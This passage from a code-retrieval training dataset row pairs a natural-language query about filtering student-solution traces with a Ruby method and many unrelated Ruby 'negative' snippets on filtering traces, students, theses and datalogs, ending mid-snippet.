"0.5431376",
"0.5431376",
"0.5431376",
"0.5404257",
"0.54027164",
"0.5398075",
"0.5397402",
"0.53781044",
"0.53781044",
"0.53774774",
"0.5364548",
"0.5363767",
"0.53570336",
"0.5356103",
"0.5345555",
"0.5340676",
"0.53313506",
"0.53053653"
] | 0.65986234 | 2 |
filter the traces by extracting the part of the trace correspond to the student solution | def handle_everything(user_code, in_trace)
exe_Point_Finder(in_trace)
@event_manager.modify_lines(user_code)
raw_events = @event_manager.trace_list
filtered_out_events = FilteredTraces.new([raw_events, user_code])
filtered_out_events.return_json_string
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def filter_locations_tu(points)\n filter_locations(points, 15.9.within(0.07), 50.57.within(0.1))\nend",
"def filter_locations_bu(points)\n filter_locations(points, 16.06.within(0.07), 50.41.within(0.1))\nend",
"def get_stop_details(line)\nx = $subway_lines\n for i in x do\n if line == i[:line]\nline_details = i[:stops]\n end\nend\nline_details\nend",
"def remove_all_straits!\n patch_file!(\"map/adjacencies.csv\") do |file|\n # Haida-Tlingit\n file.b.lines.select{|x|\n t = x.split(\";\")[2]\n x =~ /Haida/ or (t != \"sea\" and t != \"lake\")\n }.join\n end\n end",
"def filter(backtrace); end",
"def filter(backtrace); end",
"def filter_search\n @subjects = PipelinePositionsSubject.find(:all,:order=>\"name\")\n @grades = PipelinePositionsGradeLevel.all\n @formats = PipelinePositionsTutoringType.find(:all,:order=>\"name\")\n \n @schools = School.find(:all,:order => \"organizations.name\")\n\n @neighborhoods = @schools.collect{|school| school.locations[0].neighborhood rescue nil}.compact.uniq.sort\n \n @pipeline_positions = generate_pipeline_search(true)\n end",
"def filter_locations_hk(points)\n filter_locations(points, 15.845.within(0.07), 50.21.within(0.1))\nend",
"def sanitize(trace)\n points = []\n \n trace.each do |each|\n points << Geometry::Point[each[0], each[1]]\n end\n \n points\n end",
"def filtered_students\n group_id ? students_from_group(group_id) : course.course_users.student\n end",
"def filter(data, uri)\n # find statements to delete\n unwanted = RDF::Graph.new\n data.statements.each do |statement|\n s, p, o = statement.subject, statement.predicate, statement.object\n # filter inverse triples (something p uri)\n unless s.to_s == uri\n unwanted << statement\n next\n end\n # filter <http://www.openlinksw.com/schemas/virtrdf#Geometry>\n if o.literal? and o.datatype.to_s == \"http://www.openlinksw.com/schemas/virtrdf#Geometry\"\n puts \" Filtered statement with literal #{o}.\"\n unwanted << statement\n next\n end\n end\n # delete unwanted statements\n data.delete unwanted\n end",
"def filter(params)\n\n\t self.log << \"Started filtering cases\"\n\n\t\[email protected] do |adrc_case|\n\n\t\t self.log << {:message => \"packing #{adrc_case[:subject_id]}\"}\n\t\t vgroup = Vgroup.joins(\"LEFT JOIN enrollment_vgroup_memberships ON vgroups.id = enrollment_vgroup_memberships.vgroup_id\")\n\t\t \t\t\t\t.joins(\"LEFT JOIN scan_procedures_vgroups ON scan_procedures_vgroups.vgroup_id = vgroups.id\")\n\t\t \t\t\t\t.where(\"enrollment_vgroup_memberships.enrollment_id = ?\",Enrollment.where(:enumber => adrc_case[:enumber]).first.id)\n\t\t \t\t\t\t.where(\"scan_procedures_vgroups.scan_procedure_id = ?\",adrc_case[:scan_procedure].id)\n\t\t \t\t\t\t.first\n\n\n\t\t #does this vgroup have the right image datasets?\n\t\t visits = Visit.where(:appointment_id => vgroup.appointments.select{|item| item.appointment_type == 'mri'}.map(&:id))\n\t\t images = Jobs::NaccUpload::ImageDataset.where(:visit_id => visits.map(&:id)).select{|item| (@sdm_filter.map{|x| x.series_description.downcase}.include? item.series_description.downcase) and (item.series_description != 'DTI whole brain 2mm FATSAT ASSET')}\n\t\t ppt = vgroup.enrollments.first.participant\n\n\t # if we only have 2 different scan types, or the status flag for this case is 'R', fail the case\n\t series_description_counts = images.each_with_object(Hash.new(0)){|item,hash| hash[@sdm_filter.select{|sdm| sdm.series_description.downcase == item.series_description.downcase}.first.series_description_type_id] += 1}\n\t if series_description_counts.keys.count < 2\n\t \tself.exclusions << {:protocol => adrc_case[:scan_procedure].codename, :subject => adrc_case[:enumber], :message => \"too few scan types\"}\n\t \tnext\n\t end\n\n\t if adrc_case[:status_flag] == 'R'\n\t \tself.exclusions << {:protocol => adrc_case[:scan_procedure].codename, :subject => adrc_case[:enumber], :message => \"status is 'R' for this case\"}\n\t \tnext\n\t end\n\n\t #this case passes, so let's set it up for prep\n\n\t\t adrc_case[:case_dir] = \"#{adrc_case[:subject_id]}_#{vgroup.vgroup_date.strftime(\"%Y%m%d\")}_wisc\"\n\t\t adrc_case[:subject_dir] = \"#{params[:target_dir]}/#{adrc_case[:case_dir]}\"\n\t\t adrc_case[:participant] = ppt\n\n\t\t if !File.directory?(adrc_case[:subject_dir])\n\t\t Dir.mkdir(adrc_case[:subject_dir])\n\t\t end\n\n\t\t subject_subdirs = []\n\t adrc_case[:images] = []\n\n\t\t images.each do |image|\n\n\t\t \t#check that there's nothing rated \"severe\" or \"incomplete\" on the IQC checks for this image\n\t\t \tif image.passed_iqc?\n\n\t\t\t \tpath_parts = image.path.split(\"/\")\n\t\t\t \timage_target_dir = \"#{adrc_case[:subject_dir]}/#{path_parts.last}\"\n\n\t\t\t \tif subject_subdirs.include? image_target_dir\n\t\t\t \t\t#tack something on the end so that we don't overwrite\n\t\t\t \t\timage_target_dir = \"#{image_target_dir}_#{subject_subdirs.count}}\"\n\t\t\t \tend\n\n\t\t\t \tsubject_subdirs << image_target_dir\n\t\t \t\tadrc_case[:images] << {:path => File.realpath(image.path), :target_dir => image_target_dir}\n\t\t \tend\n\t\t end\n\n\t\t @driver << adrc_case\n\n\t\tend\n\n\t\tself.log << \"Filtering cases complete (#{@driver.count} new cases, #{self.exclusions.count} exclusions from processing)\"\n\tend",
"def filter_trace(params)\n trace = {}\n trace['stack'] = {}\n trace['stack']['ordered_variable_names'] = params[0]\n trace['stack']['encoded_locals'] = {}\n params[1].each_pair do |key, value|\n trace['stack']['encoded_locals'][key] = value\n end\n trace['heap'] = {}\n params[2].each_pair do |key, value|\n trace['heap'][key] = value if value.is_a?(Array) && value.length > 2\n end\n trace['code'] = params[3]\n trace['lineNumber'] = params[4]\n trace\n end",
"def remove_all_straits!\n warn \"Experimental code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\"\n\n patch_file!(\"map/adjacencies.csv\") do |file|\n # Zeeland-Gent\n file.b.lines.select{|x|\n t = x.split(\";\")[2]\n x =~ /Gent/ or (t != \"sea\" and t != \"lake\")\n }.join\n end\n end",
"def search_filter # rubocop:disable Metrics/AbcSize,Metrics/CyclomaticComplexity,Metrics/PerceivedComplexity,Metrics/MethodLength\n @array.select do |item|\n parts = doi_parts(item.hit[:json]) || code_parts(item.hit[:code])\n (refparts[:code] && [parts[:series], item.hit[:series]].include?(refparts[:series]) &&\n refparts[:code].casecmp(parts[:code].upcase).zero? &&\n (refparts[:prt] == parts[:prt]) &&\n (refparts[:vol].nil? || refparts[:vol] == parts[:vol]) &&\n (refparts[:ver].nil? || refparts[:ver] == parts[:ver]) &&\n (refparts[:rev].nil? || refparts[:rev] == parts[:rev]) &&\n refparts[:draft] == parts[:draft] && refparts[:add] == parts[:add])\n end\n end",
"def intersecting_traces_to_src(suspect_set, merged_outage)\n to_remove = []\n merged_outage.each do |o|\n # select all hops on current traceroutes where destination is o.src\n site = FailureIsolation.Host2Site[o.src]\n @logger.warn { \"intersecting_traces_to_src, site nil! #{o.src}\" } if site.nil?\n hops_on_traces = FailureIsolation.current_hops_on_pl_pl_traces_to_site(@db, site) unless site.nil?\n if hops_on_traces.nil? or hops_on_traces.empty?\n @logger.warn { \"no hops on traces to site: #{site}\" }\n else\n @logger.debug { \"found intersecting hops on traces to site: #{site}\" }\n end\n\n to_remove += hops_on_traces\n end\n\n return to_remove\n end",
"def filter_surf_results(surf_data)\n current_time = Time.now.to_i\n data = []\n\n surf_data.each do |item|\n # if the report time has already passed,\n # OR\n # it's more than 24 hours later than local time\n # remove from the stack\n if (item['localTimestamp'] >= (current_time - 90)) && (item['localTimestamp'] <= (current_time + 60 * 60 * 15))\n data.push(item)\n end\n end\n data\n end",
"def compare_scr\n line = Array.new\n @attribute_all.each_value{|const|\n const[1].each{|line,data|\n data.SDC.each{|sdc|\n sdc_tmp = sdc.gsub(\"\\*\",\"\").split[2].slice(2..1000)\n @RPT_ERR.each{|key,err|\n sig_tmp = err.SignalName.gsub(\"\\*\",\"\")\n if err.AttributeName == sdc.split[0] && sig_tmp == sdc_tmp\n data.ConstCheckFlag = 0\n data.SynthesisReport = err.Message\n noapply = Array.new\n noapply << line\n noapply << data.SDC\n noapply << err.Message\n @RPT_ErrorList << noapply\n end\n }\n }if data.SDC != nil\n }\n }\n end",
"def trials_for_design(d)\n @trials.select{ |t| t.design and t.design==d }\n end",
"def filter; end",
"def filter; end",
"def filter; end",
"def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end",
"def the_lineup #in short, this returns only phrases that have situations which are selected AND scores (familiarity levels) which have been selected\n the_situations = []\n the_scores = []\n the_phrases = []\n @situations.each do |s|\n if s.studying_now == true\n the_situations << s.id\n else\n next\n end\n end\n#the_situations = @situations.map do {|s| s.studying_now == true}\n# do this for scores (with map)\n# do this for phrases (with map)\n\n @scores.each do |s|\n if s.studying_now == true\n the_scores << s.id\n else\n next\n end\n end\n\n the_situations.each do |this_situation_id| #checking situations that are true\n a_situation = @situations.find(this_situation_id) #a single situation that is true\n\n the_scores.each do |this_score_id| #checking scores that are true\n a_score = @scores.find(this_score_id) #a single true score for this iteration\n\n all_phrases_in_a_situation = a_situation.phrases.all #all the phrases for the relevant situation\n all_phrases_in_a_situation.each do |this_phrase| #cycling over a given phrase in a true situation\n if (this_phrase.score_id == a_score.id) && (this_phrase.familiarity_score < 100.0)\n the_phrases << this_phrase\n else\n next\n end\n end\n\n end\n end\n\n the_phrases\n\n #a phrase should have the correct id from situations array\n #a phrase should have the correct id from scores array\n #a phrase should also have a score less than the trip wire\n\n #phrase.familiarity score should autoset at situations home (it does)\n end",
"def post_processing! (edges)\n # 'and' coordination\n edges.reject!{|e| e[:text] == 'and'}\n end",
"def filterFormants(fs)\n fs.delete_if { |f| f[0] < $MIN_F1 || f[0] > $MAX_F1 || f[1] > $MIN_F2 || f[1] < $MAX_F2}\nend",
"def extract_from(students, cohort_sym)\n\tif !cohort_sym == :Nofilter\n\t\tresults = students.select do |student|\n\t\t\tstudent[:cohort] == cohort_sym\n\t\t\tend\n\telse \n\t\tresults = students\n\tend\n\tresults\nend",
"def students\n filters = []\n filters.push(\"{SCHOOL_TFPID} = '#{goddamn_school}'\") if goddamn_school\n Student.some(\n shard: self.goddamn_city,\n sort: [\"Name\", :asc],\n filterByFormula: \"AND(#{filters.join(',')})\"\n )\n end",
"def filter(backtrace)\n result = []\n return result unless backtrace\n\n backtrace.each do |line|\n break if filters?(line)\n result << line\n end\n\n result = backtrace.reject { |line| filters?(line) } if result.empty?\n result = backtrace.dup if result.empty?\n\n result\n end",
"def health_remark_code_segments\n @eob = service.insurance_payment_eob\n facility = @eob.check_information.job.batch.facility\n health_remark_code_segments = []\n health_remark_code_segments << compute_lq(\"in\")\n health_remark_code_segments << compute_lq(\"out\") \n if facility.details[:interest_in_service_line] && service.interest_service_line?\n health_remark_code_segments << lq_rx_segments(\"109975\") if @eob.claim_interest.to_f > 0.0 \n end \n health_remark_code_segments << lq_rx_segments(\"109702\") if @eob.hcra.to_f > 0.0\n health_remark_code_segments.compact!\n health_remark_code_segments.flatten\n end",
"def sampled_traces(trace_ids)\n result = false\n traces = nil\n ZipkinQuery::Client.with_transport($config) do |client|\n traces = client.tracesExist(trace_ids)\n end\n return traces\nend",
"def getRiskedDecisionMaps\n emp = view_context.getMyEnterprise\n # ES: Obtiene los mapas de decision de la empresa tratada:\n # EN: Get the decision maps of the enterprise\n idsMapas = Mapas::DecisionMap.where(enterprise_id: emp.id).pluck(:id)\n # ES: Elimina del tratamiento, los mapas que ya tienen un escenario de evaluacion asociado:\n # EN: Remove from the treatment, the maps that already have related an assessment scenario:\n idsMapasYaAsociados = Escenarios::RiskEscenario.where(decision_map_id: idsMapas).pluck(:decision_map_id)\n idsMapas = idsMapas - idsMapasYaAsociados\n # ES: Obtiene todos los hallazgos asociados a dichos mapas:\n # EN: Get all the findings related to those maps\n finds = Mapas::Finding.where(decision_map_id: idsMapas)\n # ES: Filtra los hallazgos que tienen riesgos asociados:\n # EN: Filters the findings that have related risks: \n finds = finds.select{|f| !f.parsed_risks.nil?}\n # ES: Obtiene los ids filtrados de los mapas de decision\n # EN: Get the filtered ids of the decision maps\n idsMapas = finds.map{|f| f.decision_map_id}.uniq\n # ES: Obtiene los mapas filtrados, cuyos hallazgos tienen riesgos asociados:\n # EN: Get the filtered maps, whose findings have associated risks\n mapas = Mapas::DecisionMap.where(id: idsMapas)\n # ES: Por cada mapa, obtiene los ids de los riesgos asociados, para enviarlos de una vez tambien\n # EN: For each map, get the ids of the relaed risks, to send them at once\n arrayIdsRiesgos = [] # ES: Arreglo de arreglos - EN: Array of arrays\n mapas.each do |m|\n idsRiesgos = []\n # ES: Obtiene los hallazgos de dicho mapa:\n # EN: Get the findings of that map\n finds = Mapas::Finding.where(decision_map_id: m.id).select{|f| !f.parsed_risks.nil? }\n # ES: De cada hallazgo con riesgos, va obteniendo sus ids:\n # EN: For each finding with risks, get its ids\n finds.each do |f|\n idsTemp = f.parsed_risks.split(\"|\")\n restoredArray = idsTemp.map {|id| id.to_i}\n idsRiesgos.concat(restoredArray)\n end\n # ES: Elimina los repetidos y lo agrega al arreglo de arreglos:\n # ES: Remove the repeated ones, and add them to the array of arrays\n idsRiesgos.uniq!\n arrayIdsRiesgos.push(idsRiesgos)\n end\n\n # ES: Regresa un arreglo con 2 arreglos: mapas y sus riesgos asociados\n # EN: Returns an array with 2 arrays: maps and its related risks\n return [mapas, arrayIdsRiesgos]\n end",
"def filter(spectrum)\n\t filters.map do |coefficients|\n\t\tcoefficients.zip(spectrum).map {|coefficient, power| coefficient * power }\n\t\t\t\t\t .reduce(&:+)\n\t end\n\tend",
"def get_relevant_concepts(concept_id, threshold, level = 1, degree = 5)\n puts \"[get_relevant_concepts:#{level}] for #{concept_id}\"\n result = $clf.read_links('k', concept_id).find_all{|k,v|v >= threshold}.sort_by{|e|e[1]}.reverse.map{|e|e[0]}[0..(degree-1)]\n if level > 0\n result.concat result.map{|e|get_relevant_concepts(e, threshold, level-1, degree)}.flatten\n end\n puts result.inspect\n result.uniq\n end",
"def filter_proquest_status(theses)\n term_filtered = filter_theses_by_term theses\n dept_filtered = filter_theses_by_department term_filtered\n degree_filtered = filter_theses_by_degree_type dept_filtered\n multi_author_filtered = filter_theses_by_multiple_authors degree_filtered\n filter_theses_by_published multi_author_filtered\n end",
"def related_studies\n _studies = []\n under_supervision_studies.each do |study|\n unless _studies.include?(study)\n _studies.append(study)\n end\n end\n studies.each do |study|\n unless _studies.include?(study)\n _studies.append(study)\n end\n end\n return _studies\n end",
"def external\n @plan_subjects = PlanSubject.find_unfinished_external_for(@user)\n @students = @plan_subjects.map {|ps| ps.study_plan.index.student}.uniq\n end",
"def assert_level_0_trace_correct(traces)\n expect(traces[0]['trace_id']).not_to be_empty\n expect(traces[0]['parent_span_id']).to be_empty\n expect(traces[0]['span_id']).not_to be_empty\n expect(['1'].include?(traces[0]['sampled'])).to eq(true)\n end",
"def filter_findings\n findings\n end",
"def filter\n end",
"def find_lines mta, start_station, end_station\n lines = [[],[]]\n mta.each do |line, stations|\n lines[0].push line if stations.include?(start_station)\n lines[1].push line if stations.include?(end_station)\n end\n\n if lines[0] & lines[1] != []\n common_line = lines[0] & lines[1]\n return [ common_line[0], common_line[0] ] # The 1st line both stations are on\n else\n return [ lines[0][0], lines[1][0] ] # The 1st line the staions are found on\n end\nend",
"def filter(event)\n\n #Category\n category = event.get(\"category\")\n if category.nil?\n category = \"\"\n end\n\n new_category = fn_make_cate_all(category, 0) \n event.set(\"category\", new_category)\n\n service_gubun = event.get(\"service_gubun\")\n\n new_cat1 = fn_make_cate_all(category, 2) \n event.set(\"cat1\", new_cat1)\n \n new_cat2 = fn_make_cate_all(category, 4) \n event.set(\"cat2\", new_cat2)\n \n new_cat3 = fn_make_cate_all(category, 6) \n event.set(\"cat3\", new_cat3)\n \n new_cat4 = fn_make_cate_all(category, 8) \n event.set(\"cat4\", new_cat4)\n\n new_cg = \"\"\n if service_gubun == \"1\"\n new_cg = new_cat2 \n else\n new_cg = new_cat1 \n end \n event.set(\"cg\", new_cg)\n\n #Model Factory\n #deplecated : ES에서 Model-Factory 전용 Tokenizer 사용\n=begin\n if service_gubun == \"1\"\n modelnm = event.get(\"modelnm\")\n factory = event.get(\"factory\")\n if modelnm.nil?\n modelnm = \"\"\n end\n if factory.nil?\n factory = \"\"\n end\n\n model_factory = factory_all(modelnm+\" \"+factory)\n event.set(\"model_factory\", model_factory)\n end\n=end\n \n return [event]\n\nend",
"def filter_backtrace(backtrace)\n ## remove backtraces that match any pattern in IGNORE_CALLERS\n trace = backtrace.reject{|b| IGNORE_CALLERS.any?{|i| i=~b}}\n ## remove `:in ...` portion of backtraces\n trace = trace.map do |bt| \n i = bt.index(':in')\n i ? bt[0...i] : bt\n end\n ## now apply MiniTest's own filter (note: doesn't work if done first, why?)\n trace = MiniTest::filter_backtrace(trace)\n ## if the backtrace is empty now then revert to the original\n trace = backtrace if trace.empty?\n ## simplify paths to be relative to current workding diectory\n trace = trace.map{ |bt| bt.sub(Dir.pwd+File::SEPARATOR,'') }\n return trace\n end",
"def clean_trace bt, script_filename\n short_trace = []\n bt.each do |line|\n break unless line.include?(script_filename)\n short_trace << line\n end\n short_trace\n end",
"def get_reek_feature \n hash = JSON.parse(IO.read(@feature_dir + \"/reek.json\"))\n smells = @all_smells - @filter_smells\n reek_feature = Array.new(@indexes.length) { Array.new(smells.length, 0)}\n \n @indexes.each_with_index do |index, i|\n smells.each_with_index do |smell, j|\n break unless hash[index.to_s + \".rb\"] # some submission has no warning\n if hash[index.to_s + \".rb\"][smell]\n reek_feature[i][j] = hash[index.to_s + \".rb\"][smell]\n end\n end \n end\n\n return reek_feature \n end",
"def absolved_students_with_years\n is = Index.find_for(User.find_by_login('ticha'))\n is = is.select {|i| i.absolved?}.sort {|i, j| i.semester <=> j.semester}\n isd = is.group_by(&:faculty)\n isd.each do |faculty|\n File.open(\"absolved_%s.csv\" % faculty.first.short_name, 'wb') do |outfile|\n CSV::Writer.generate(outfile, ';') do |csv|\n csv << ['student', 'semestr', 'start', 'konec']\n faculty.last.each do |index|\n csv << [index.student.display_name, index.semester, index.enrolled_on.to_date, index.disert_theme.defense_passed_on.to_date]\n end\n end\n end\n end\n end",
"def assert_level_1_trace_correct(traces)\n expect(traces[1]['trace_id']).to eq(traces[0]['trace_id'])\n expect(traces[1]['parent_span_id']).to eq(traces[0]['span_id'])\n expect(traces[1]['span_id']).not_to be_empty\n expect([traces[1]['trace_id'], traces[1]['parent_span_id']].include?(traces[1]['span_id'])).to be_falsey\n expect(['1'].include?(traces[1]['sampled'])).to eq(true)\n end",
"def sniff\n find_violations.group_by(&:depth).map do |depth, group|\n lines = group.map(&:line)\n smell_warning(\n lines: lines,\n message: \"contains iterators nested #{depth} deep\",\n parameters: { depth: depth })\n end\n end",
"def show\n set_student\n\n # check for the presesnce of a logged in student\n if current_student.present?\n\n # grab the course of the logged in student\n @current_student_course_id = current_student.course_id\n @course = Course.find_by_sql(\"SELECT course_name FROM courses WHERE courses.id = #{@current_student_course_id}\")\n\n #=============================================\n # RECOMMENDATION\n\n # interests1 is an array to hold the interests selected from the project_tags\n interests1 = []\n\n # check for the presence of interests selected from the project_tags for\n # the student, then get the tag names and put them in an array\n if !current_student.project_tags.empty?\n current_student.project_tags.each do |pt|\n # add it to the array\n interests1.push(pt.tag_name.to_s)\n end\n end\n\n # combined is an array to hold the interests from the projecttags and manually \n # inputted interest\n combined = []\n\n # check for the presence of manually inputted tags (from additional_interest field of student)\n if !current_student.additional_interest.blank?\n # interest2 splits the tags by comma too create an array\n interests2 = current_student.additional_interest.split(\",\")\n\n # the two arrays (interests1 and interests2) are merger together in 'combined'\n combined = (interests1 << interests2).flatten\n # # if there are no additional_interest(s) \n elsif !interests1.empty?\n # combined is equal to the interest1 array\n combined = interests1\n end\n\n # check if combined is not an empty array before computing for the projects \n if !combined.empty?\n \n # remove all unecessary spaces from combined array and make all downcase\n combined = combined.map{|i| i.to_s.strip.downcase}\n\n # remove all duplicate keywords from the combined array\n # combined_uniq will store the new array without duplicates\n combined_uniq = []\n \n # iterate through each item in the combinend array and compare each word\n # it it doeas not exist in comined_uniq array, add it to the array\n for i in 0..combined.length\n if !combined_uniq.include?combined[i].to_s\n combined_uniq.push(combined[i])\n end\n end\n\n # combined_interest is an array to hold the projects from the interest\n # combined_interest = []\n # each project that has the keyword is stored in the array\n # note that the code has avoided SQl injection problems \n combined_interest = combined_uniq.map{|i| Project.where(\"title like ? or description like ? or tags like ?\", \"%#{i}%\", \"%#{i}%\", \"%#{i}%\")}\n\n # array to hold non-duplicate projects which sends data to the view\n @combined_interest_uniq = []\n\n # iterate over the combined_interest array and remove all dupplicates.\n # This is done by cheking for the presence of the object in combined_interest_uniq\n # array before adding to it.\n combined_interest.each do |i|\n i.each do |j|\n if !@combined_interest_uniq.include? j\n @combined_interest_uniq.push(j)\n end\n end\n end\n end\n \n end\n\n\n end",
"def get_datalog_trace\r\n transaction_id=params[0]\r\n trace_label=params[1]\r\n site_id=params[2]\r\n start_freq=params[3]\r\n stop_freq=params[4]\r\n start_ts=params[5] \r\n stop_ts=params[6] \r\n freq_res=params[7] \r\n ts_res=params[8]\r\n datalog_range=Datalog.get_range(site_id)\r\n logger.debug datalog_range.inspect()\r\n logger.info(\"START TS : #{start_ts}\")\r\n logger.info(\"STOP TS : #{stop_ts}\")\r\n ds={}\r\n\t \r\n\t###TODO\r\n\t\r\n\t \r\n\t \r\n if (datalog_range.nil?) || datalog_range[:max_ts].nil? || datalog_range[:max_ts].nil?\r\n ds[\"min_freq\"]=datalog_range[:min_freq]\r\n ds[\"max_freq\"]=datalog_range[:max_freq]\r\n ds[\"min_ts\"]=nil\r\n ds[\"max_ts\"]=nil\r\n ds[\"transaction_id\"]=transaction_id\r\n ds[\"trace_label\"]=trace_label\r\n else\r\n one_hour_ago=datalog_range[:max_ts]-3600\r\n logger.debug \"One hour ago #{one_hour_ago.to_s} Most Recent #{datalog_range[:max_ts]}\"\r\n overtime_flag=params.key?(9) ? params[9] : false\r\n site=Site.find(site_id)\r\n profile=nil\r\n anl=nil\r\n if site.nil?\r\n raise \"Failed to find Site.\"\r\n else\r\n logger.debug \"Getting Profile for site #{site.id}\"\r\n profile=site.get_profile()\r\n end\r\n datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>start_ts,\r\n :stop_ts=>stop_ts,\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n recent_datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>one_hour_ago,\r\n :stop_ts=>datalog_range[:max_ts],\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n ds[\"recent\"]=recent_datalog[:max]\r\n datalog_list=[]\r\n ds[\"trace_label\"]=trace_label\r\n ds[\"avg\"]=datalog[:avg]\r\n ds[\"min\"]=datalog[:min]\r\n ds[\"max\"]=datalog[:max]\r\n ds[\"total\"]=datalog[:total]\r\n ds[\"noise_floor\"]=datalog[:noise_floor] if overtime_flag\r\n logger.debug \"Datalog length #{ds[\"max\"].length}\"\r\n if ((!profile.nil?) && (!overtime_flag))\r\n logger.debug \"Got Profile #{profile.name()}, #{start_freq}, #{stop_freq}\"\r\n ds[\"profile_id\"]=profile.id\r\n ds[\"profile_name\"]=profile.name\r\n ds[\"profile_ref\"]=profile.trace(start_freq, stop_freq)\r\n #ds[\"profile_ref\"]=profile.trace()\r\n ds[\"profile_major\"]=profile.major_offset\r\n ds[\"profile_minor\"]=profile.minor_offset\r\n ds[\"profile_loss\"]=profile.loss_offset\r\n ds[\"profile_loss_flag\"]=profile.link_loss\r\n else\r\n logger.debug \"Did not get Profile #{profile.inspect()}\"\r\n end\r\n logger.debug datalog.inspect()\r\n logger.debug \"Finished Total\"\r\n if datalog.key?(:freq)\r\n ds[\"freq\"]=datalog[:freq]\r\n else\r\n ds[\"freq\"]=[]\r\n end\r\n if datalog.key?(:time)\r\n ds[\"time\"]=datalog[:time]\r\n else\r\n ds[\"time\"]=[]\r\n end\r\n ds[\"min_freq\"]=datalog[:min_freq]\r\n ds[\"max_freq\"]=datalog[:max_freq]\r\n ds[\"min_ts\"]=datalog[:min_ts]\r\n ds[\"max_ts\"]=datalog[:max_ts]\r\n ds[\"transaction_id\"]=transaction_id\r\n \r\n \r\n\t \r\n logger.debug ds[\"freq\"].inspect()\r\n logger.debug \"Finished Transaction. Now building XML\"\r\n end\r\n respond_to do |format|\r\n format.amf { \r\n render :amf => ds\r\n }\r\n end\r\n end",
"def segment\n sents, sent = [], []\n thresh = 0.5\n\n frag = nil\n @frags.each do |frag|\n sent.push(frag.orig)\n if frag.pred > thresh\n break if frag.orig.nil?\n sents.push(sent.join('').strip)\n sent = []\n end\n end\n sents\n end",
"def subject_place_filter(solr_parameters, user_parameters)\n # Find index of the facet geographical_coverage_sim\n geographical_idx = nil\n solr_parameters[:fq].each.with_index do |f_elem, idx|\n geographical_idx = idx if f_elem.include?('geographical_coverage')\n end\n\n unless geographical_idx.nil?\n geo_string = solr_parameters[:fq][geographical_idx]\n coordinates = DRI::Metadata::Transformations.get_spatial_coordinates(geo_string)\n\n if coordinates.present?\n solr_parameters[:fq][geographical_idx] = \"geospatial:\\\"Intersects(#{coordinates})\\\"\"\n end\n end\n end",
"def part2(clues, aunts)\n result = Array.new aunts\n clues.each do |clue|\n #filter aunts that do not match the key:value in clue\n key = clue.keys.first\n result.reject! do |a|\n a.has_key? key and retroencabulation(key, clue[key], a[key])\n end\n\n #puts \"Using #{key} as the filter, there are now #{aunts.length} remaining possibilities\"\n end\n result[0]\nend",
"def functional_group_trailer(batch_id)\n ge_elements = []\n ge_elements << 'GE'\n ge_elements << checks_in_functional_group(batch_id)\n ge_elements << '2831'\n ge_elements.join(@element_seperator)\n end",
"def filter\n police = [\"Police\", \"Sheriff\"]\n fire = [\"Fire\"]\n special = [\"CHILD\", \"SHOTS\", \"ACC1\", \"ACC3\", \"ACC4\", \"BACKO\", \"FRES\", \"DRUGOD\"]\n if special.any? { |special| agency.include?(special)}\n print(:light_yellow)\n elsif agency.include?(\"EMS CALL\")\n print(:light_red)\n elsif police.any? { |police| agency.include?(police)}\n print(:light_blue)\n elsif fire.any? { |fire| agency.include?(fire)}\n print(:red)\n else\n print(:white)\n end\n end",
"def extract_noise entries\n entries.select do |entry|\n entry.start_with? 'noise'\n end\n end",
"def index\n \n @events = Event.where(\"for_student = true\").pluck(:id,:name)\n $students = Student.all.order(:UIN)\n $students.each do |x|\n @arr = Hash.new([])\n @tslots = x.timeslots\n @events.each do |ev|\n @check = FALSE\n @tslots.each do |t|\n if(t.event_id == ev[0])\n @arr[ev[1]] = (t.start_time.strftime(\"%I:%M%p\") + \"-\" + t.end_time.strftime(\"%I:%M%p\"))\n @check = TRUE\n break\n end\n end\n if(@check == FALSE)\n @arr[ev[1]] = (\"Not Attend\")\n end\n end\n $stu_slot[x.id] = @arr\n end\n end",
"def filtered_stacktrace(stacktrace, count: 20)\n lines = []\n\n stacktrace[0..count].inject(false) do |filtered_last_line, line|\n if filter_stacktrace_entry?(line)\n lines << \"... (lines removed) ...\" unless filtered_last_line\n true\n else\n lines << shorten_path(line)\n false\n end\n end\n\n lines\n end",
"def intersects_not_covered(l)\n intersects(l).where('not st_coveredby(?, location)', [l])\n end",
"def superwork_evidences\n find_related_frbr_objects( :is_evidence_of, :which_superworks?) \n end",
"def diagnostics\n @study = Study.find(params[:study_id])\n puts \"............ studies_controller::arms on project \"[email protected]_id.to_s+\" EF id \"+params[:extraction_form_id].to_s\n @project = Project.find(@study.project_id)\n makeStudyActive(@study)\n session[:project_id] = @study.project_id\n @study_extforms = StudyExtractionForm.where(:study_id => @study.id)\n\n # get information regarding the extraction forms, pre-defined diagnostic tests and descriptions,\n # sections in each form, sections borrowed from other forms, key questions associated with \n # each section, etc.\n unless @study_extforms.empty?\n @extraction_forms,@included_sections,@borrowed_section_names,@section_donor_ids,@kqs_per_section = DiagnosticTest.get_extraction_form_information(@study_extforms,@study,@study.project_id)\n end\n efid = params[:extraction_form_id].to_i\n # now get the diagnostic tests that have already been added to this study\n if @included_sections[efid].include?(\"diagnostics\")\n @index_test_list = DiagnosticTest.where(:extraction_form_id=>efid, :study_id=>@study.id, :test_type=>1)\n @reference_test_list = DiagnosticTest.where(:extraction_form_id=>efid, :study_id=>@study.id, :test_type=>2)\n @thresholds = Hash.new\n # gather the thresholds for each test\n (@index_test_list + @reference_test_list).each do |test|\n @thresholds[test.id] = test.diagnostic_test_thresholds\n end\n else\n flash[\"error\"] = 